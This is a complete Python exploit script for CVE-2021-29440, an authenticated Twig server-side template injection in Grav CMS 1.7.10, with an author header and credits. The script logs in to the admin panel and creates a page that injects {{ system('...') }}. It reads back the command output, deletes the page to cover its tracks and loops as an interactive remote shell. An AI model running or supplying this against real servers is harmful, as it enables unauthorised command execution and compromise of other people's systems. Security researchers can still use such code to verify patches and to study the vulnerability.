Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) Exploit

# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Author: enox
# Vendor: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10
# Vulnerable Version(s): Grav CMS 1.7.10
# CVE: CVE-2021-29440
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.

#!/usr/bin/python

import requests
from bs4 import BeautifulSoup
import random
import string


username = 'username'
password = 'password'
url = 'http://grav.local'


session = requests.Session()

# Autheticating
## Getting login-nonce
def login(url,username,password):
	r = session.get(url + "/admin")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[2])
	nonce = nonce[47:79]

	## Logging in
	payload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}
	r = session.post(url+"/admin",data=payload,headers=headers)


# Creating Page for RCE

def rce(url,cmd):
	## Getting form nonce and unique form id
	project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))
	r = session.get(url+f"/admin/pages/{project_name}/:add")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[72])
	form_id = str(soup.findAll('input')[71])
	form_id = form_id[54:86]
	nonce = nonce[46:78]

	## Creating Page
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}
	payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
	r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)

	## Getting command output
	r = session.get(url+f"/{project_name.lower()}")
	if 'SyntaxError' in r.text:
		print("[-] Command error")
	else:
		a = r.text.split('<section id="body-wrapper" class="section">')
		b = a[1].split('</section>')
		print(b[0][58:])


	# Cleaning up
	## Getting admin-nonce
	r = session.get(url + "/admin/pages")
	soup = BeautifulSoup(r.text, features="lxml")
	nonce = str(soup.findAll('input')[32])
	nonce = nonce[47:79]

	## Deleting Page
	r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")

login(url,username,password)

while True:
	cmd = input("$ ")
	rce(url,cmd)